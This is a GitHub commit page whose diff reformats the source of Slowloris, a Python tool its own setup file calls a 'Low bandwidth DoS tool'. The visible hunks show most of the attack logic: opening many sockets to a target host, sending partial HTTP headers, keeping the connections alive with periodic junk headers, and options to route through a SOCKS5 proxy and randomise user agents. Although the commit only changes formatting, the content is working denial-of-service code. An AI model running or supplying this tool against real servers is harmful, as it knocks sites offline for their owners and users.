Skip to content

Commit

Permalink
Auto-format code
Browse files Browse the repository at this point in the history
  • Loading branch information
gkbrk committed May 4, 2019
1 parent 79dd88a commit eb7f632
Show file tree
Hide file tree
Showing 2 changed files with 73 additions and 24 deletions.
19 changes: 10 additions & 9 deletions setup.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,13 @@
from distutils.core import setup

setup(
name = "Slowloris",
py_modules = ["slowloris"],
entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
version = "0.2.0",
description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
author = "Gokberk Yaltirakli",
author_email = "[email protected]",
url = "https://github.com/gkbrk/slowloris",
keywords = ["dos", "http", "slowloris"]
name="Slowloris",
py_modules=["slowloris"],
entry_points={"console_scripts": ["slowloris=slowloris:main"]},
version="0.2.0",
description="Low bandwidth DoS tool. Slowloris rewrite in Python.",
author="Gokberk Yaltirakli",
author_email="[email protected]",
url="https://github.com/gkbrk/slowloris",
keywords=["dos", "http", "slowloris"],
)
78 changes: 63 additions & 15 deletions slowloris.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,17 +6,49 @@
import sys
import time

parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
parser.add_argument('host', nargs="?", help="Host to perform stress test on")
parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
parser.add_argument("--https", dest="https", action="store_true", help="Use HTTPS for the requests")
parser.add_argument("--sleeptime", dest="sleeptime", default=15, type=int, help="Time to sleep between each header sent.")
parser = argparse.ArgumentParser(
description="Slowloris, low bandwidth stress test tool for websites"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
"-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
"-s",
"--sockets",
default=150,
help="Number of sockets to use in the test",
type=int,
)
parser.add_argument(
"-v", "--verbose", dest="verbose", action="store_true", help="Increases logging"
)
parser.add_argument(
"-ua",
"--randuseragents",
dest="randuseragent",
action="store_true",
help="Randomizes user-agents with each request",
)
parser.add_argument(
"-x",
"--useproxy",
dest="useproxy",
action="store_true",
help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument("--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host")
parser.add_argument("--proxy-port", default="8080", help="SOCKS5 proxy port", type=int)
parser.add_argument(
"--https", dest="https", action="store_true", help="Use HTTPS for the requests"
)
parser.add_argument(
"--sleeptime",
dest="sleeptime",
default=15,
type=int,
help="Time to sleep between each header sent.",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
Expand All @@ -38,16 +70,25 @@
# the proxy by default
try:
import socks

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
socket.socket = socks.socksocket
logging.info("Using SOCKS5 proxy for connecting...")
except ImportError:
logging.error("Socks Proxy Library Not Available!")

if args.verbose:
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
logging.basicConfig(
format="[%(asctime)s] %(message)s",
datefmt="%d-%m-%Y %H:%M:%S",
level=logging.DEBUG,
)
else:
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)
logging.basicConfig(
format="[%(asctime)s] %(message)s",
datefmt="%d-%m-%Y %H:%M:%S",
level=logging.INFO,
)

if args.https:
logging.info("Importing ssl module")
Expand Down Expand Up @@ -82,6 +123,7 @@
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]


def init_socket(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
Expand All @@ -98,6 +140,7 @@ def init_socket(ip):
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
return s


def main():
ip = args.host
socket_count = args.sockets
Expand All @@ -115,10 +158,14 @@ def main():

while True:
try:
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
logging.info(
"Sending keep-alive headers... Socket count: %s", len(list_of_sockets)
)
for s in list(list_of_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
s.send(
"X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")
)
except socket.error:
list_of_sockets.remove(s)

Expand All @@ -138,5 +185,6 @@ def main():
logging.info("Stopping Slowloris")
break


if __name__ == "__main__":
main()

0 comments on commit eb7f632

Please sign in to comment.